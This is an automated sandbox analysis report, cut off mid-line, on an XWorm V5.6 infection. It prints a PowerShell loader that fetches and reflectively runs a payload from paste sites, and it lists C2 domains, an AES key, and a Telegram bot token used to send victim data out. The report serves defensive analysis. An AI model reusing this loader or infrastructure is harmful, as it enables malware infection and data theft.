;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$

                  Suricata Signatures

                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:28.350868+010020204241Exploit Kit Activity Detected64.235.43.128443192.168.2.449740TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:28.351122+010020576351A Network Trojan was detected64.235.43.128443192.168.2.449740TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:30.279287+010028033053Unknown Traffic192.168.2.449745188.114.97.3443TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:28.351122+010028582951A Network Trojan was detected64.235.43.128443192.168.2.449740TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:16.473510+010028410751Malware Command and Control Activity Detected192.168.2.449732188.114.97.3443TCP
                  2024-11-20T11:06:25.302670+010028410751Malware Command and Control Activity Detected192.168.2.449735188.114.97.3443TCP
                  2024-11-20T11:06:30.279287+010028410751Malware Command and Control Activity Detected192.168.2.449745188.114.97.3443TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:38.436081+010028536851A Network Trojan was detected192.168.2.449747149.154.167.220443TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:44.439264+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:06:46.947582+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:06:49.466115+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:06:54.489860+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:06:57.362156+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:06:59.437255+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:04.456968+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:09.440499+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:11.197817+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:14.437605+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:16.937308+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:19.447936+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:24.442487+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:25.336716+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:29.439700+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:34.451068+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:38.894734+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:39.489750+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:44.607133+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:46.958639+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:47.672058+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:49.441933+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:54.439189+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:59.441482+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:01.523369+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:04.443474+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:09.442153+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:11.107005+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:14.435993+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:16.939791+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:19.435970+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:24.452045+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:25.143354+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:27.966603+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:29.464679+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:34.449141+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:39.448894+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:41.802067+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:44.452418+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:46.939506+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:49.460204+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:54.523128+010028528701Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:57.371514+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:07:11.199690+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:07:25.384167+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:07:38.896741+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:07:47.674648+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:08:01.527072+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:08:11.108897+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:08:25.146422+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:08:27.968545+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  2024-11-20T11:08:41.803711+010028529231Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:46.947582+010028528741Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:16.937308+010028528741Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:07:46.958639+010028528741Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:16.939791+010028528741Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  2024-11-20T11:08:46.939506+010028528741Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:57.034266+010028559241Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:48.990965+010028531911Malware Command and Control Activity Detected178.73.218.67000192.168.2.449749TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-11-20T11:06:48.669002+010028531921Malware Command and Control Activity Detected192.168.2.449749178.73.218.67000TCP

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Antivirus detection for URL or domain
                  Source: http://ftp.desckvbrat.com.brAvira URL Cloud: Label: malware
                  Source: http://desckvbrat.com.brAvira URL Cloud: Label: malware
                  Source: moneyluckwork.ddns.netAvira URL Cloud: Label: malware
                  Source: moneyluck.duckdns.orgAvira URL Cloud: Label: malware
                  Found malware configuration
                  Source: 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: Xworm {"C2 url": ["moneyluckwork.ddns.net", "moneyluck.duckdns.org"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
                  Sample uses string decryption to hide its real strings
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpackString decryptor: moneyluckwork.ddns.net,moneyluck.duckdns.org
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpackString decryptor: 7000
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpackString decryptor: <123456789>
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpackString decryptor: <Xwormmm>
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpackString decryptor: XWorm V5.6
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpackString decryptor: USB.exe
                  Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49737 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 64.235.43.128:443 -> 192.168.2.4:49740 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49746 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49747 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49748 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49750 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49752 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49780 version: TLS 1.2
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\catroot2Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\AppxSip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\e9e64b91c0e4559f01e50ac43ffb9a2a\System.DirectoryServices.ni.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SYSTEM32\OpcServices.DLLJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\Jump to behavior

                  Software Vulnerabilities

                  barindex
                  Suspicious execution chain found
                  Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

                  Networking

                  barindex
                  Suricata IDS alerts for network traffic
                  Source: Network trafficSuricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 178.73.218.6:7000 -> 192.168.2.4:49749
                  Source: Network trafficSuricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 178.73.218.6:7000 -> 192.168.2.4:49749
                  Source: Network trafficSuricata IDS: 2853192 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound : 192.168.2.4:49749 -> 178.73.218.6:7000
                  Source: Network trafficSuricata IDS: 2853191 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound : 178.73.218.6:7000 -> 192.168.2.4:49749
                  Source: Network trafficSuricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49749 -> 178.73.218.6:7000
                  Source: Network trafficSuricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:49749 -> 178.73.218.6:7000
                  Source: Network trafficSuricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.4:49747 -> 149.154.167.220:443
                  Source: Network trafficSuricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 64.235.43.128:443 -> 192.168.2.4:49740
                  Source: Network trafficSuricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 64.235.43.128:443 -> 192.168.2.4:49740
                  Source: Network trafficSuricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 64.235.43.128:443 -> 192.168.2.4:49740
                  C2 URLs / IPs found in malware configuration
                  Source: Malware configuration extractorURLs: moneyluckwork.ddns.net
                  Source: Malware configuration extractorURLs: moneyluck.duckdns.org
                  Connects to a pastebin service (likely for C&C)
                  Source: unknownDNS query: name: paste.ee
                  Source: unknownDNS query: name: pastebin.com
                  Connects to many ports of the same IP (likely port scanning)
                  Source: global trafficTCP traffic: 191.252.83.213 ports 1,2,60964,60098,60391,21
                  Potential dropper URLs found in powershell memory
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmpString found in memory: content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmpString found in memory: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                  Uses dynamic DNS services
                  Source: unknownDNS query: name: moneyluck.duckdns.org
                  Uses the Telegram API (likely for C&C communication)
                  Source: unknownDNS query: name: api.telegram.org
                  Yara detected Generic Downloader
                  Source: Yara matchFile source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669b658.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 4.2.powershell.exe.177d903f890.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 4.2.powershell.exe.177da235a08.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fafa8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece614e80.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91b8a8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333dc4d0.1.raw.unpack, type: UNPACKEDPE
                  Source: global trafficTCP traffic: 192.168.2.4:49731 -> 191.252.83.213:60098
                  Source: global trafficTCP traffic: 192.168.2.4:49749 -> 178.73.218.6:7000
                  Source: global trafficHTTP traffic detected: GET /d/I1o5h/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /d/Nbuiz/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/CPCMnN7k HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /X67h2024kNWORM.txt HTTP/1.1Host: masclauxtoitures.frConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /d/aGYNy/0 HTTP/1.1Host: paste.ee
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /bot6063212727:AAGxI15ihXd3ydfdlrCIMNDRzM08Ew5M1gY/sendMessage?chat_id=1188038887&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A1F61296E2D13B1021028%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20WG6__62%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: Joe Sandbox ViewIP Address: 104.20.3.235 104.20.3.235
                  Source: Joe Sandbox ViewIP Address: 104.20.3.235 104.20.3.235
                  Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
                  Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
                  Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
                  Source: Joe Sandbox ViewASN Name: PREMIANETUS PREMIANETUS
                  Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                  Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 188.114.97.3:443
                  Source: Network trafficSuricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49745 -> 188.114.97.3:443
                  Source: Network trafficSuricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49735 -> 188.114.97.3:443
                  Source: Network trafficSuricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49732 -> 188.114.97.3:443
                  Source: unknownFTP traffic detected: 191.252.83.213:21 -> 192.168.2.4:49730 220 "Servico de FTP da Locaweb"
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: global trafficHTTP traffic detected: GET /d/I1o5h/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /d/Nbuiz/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/CPCMnN7k HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /X67h2024kNWORM.txt HTTP/1.1Host: masclauxtoitures.frConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /d/aGYNy/0 HTTP/1.1Host: paste.ee
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /bot6063212727:AAGxI15ihXd3ydfdlrCIMNDRzM08Ew5M1gY/sendMessage?chat_id=1188038887&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A1F61296E2D13B1021028%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20WG6__62%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /raw/GF0ptUGb HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                  Source: global trafficDNS traffic detected: DNS query: ftp.desckvbrat.com.br
                  Source: global trafficDNS traffic detected: DNS query: paste.ee
                  Source: global trafficDNS traffic detected: DNS query: pastebin.com
                  Source: global trafficDNS traffic detected: DNS query: masclauxtoitures.fr
                  Source: global trafficDNS traffic detected: DNS query: api.telegram.org
                  Source: global trafficDNS traffic detected: DNS query: moneyluck.duckdns.org
                  Source: powershell.exe, 00000005.00000002.2336065211.000002B6B2AC0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.mic
                  Source: powershell.exe, 00000005.00000002.2336065211.000002B6B2AC0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micft.cMicRosof
                  Source: powershell.exe, 00000005.00000002.2334258140.000002B6B29B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2824594158.000001E6F71F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micros
                  Source: powershell.exe, 00000010.00000002.1926571545.00000220D1494000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2824594158.000001E6F71F8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2664986969.000001E6F4E75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
                  Source: powershell.exe, 0000002C.00000002.2318654419.0000015584245000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoftEO
                  Source: powershell.exe, 00000014.00000002.2002371682.0000020ECC1A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoftsl
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA44D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://desckvbrat.com.br
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA44D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA140000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ftp.desckvbrat.com.br
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://masclauxtoitures.fr
                  Source: powershell.exe, 00000005.00000002.2087171202.000002B6AA552000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1977461538.0000024FF25A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E31E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E3327000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://paste.ee
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA4F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECE7A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E680887000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3DAA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015586829000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D333568000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pastebin.com
                  Source: powershell.exe, 00000010.00000002.1930109525.00000220D33A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                  Source: powershell.exe, 00000005.00000002.1896186167.000002B69A702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2752000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D8CC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1896186167.000002B69A4E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2087771963.00000182AAD91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D3171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECDFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E680048000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2229713334.0000020922D98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D2A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.2332458861.000001709AAC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015585FE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2361827508.0000025F80084000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2496598586.000001628D0FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 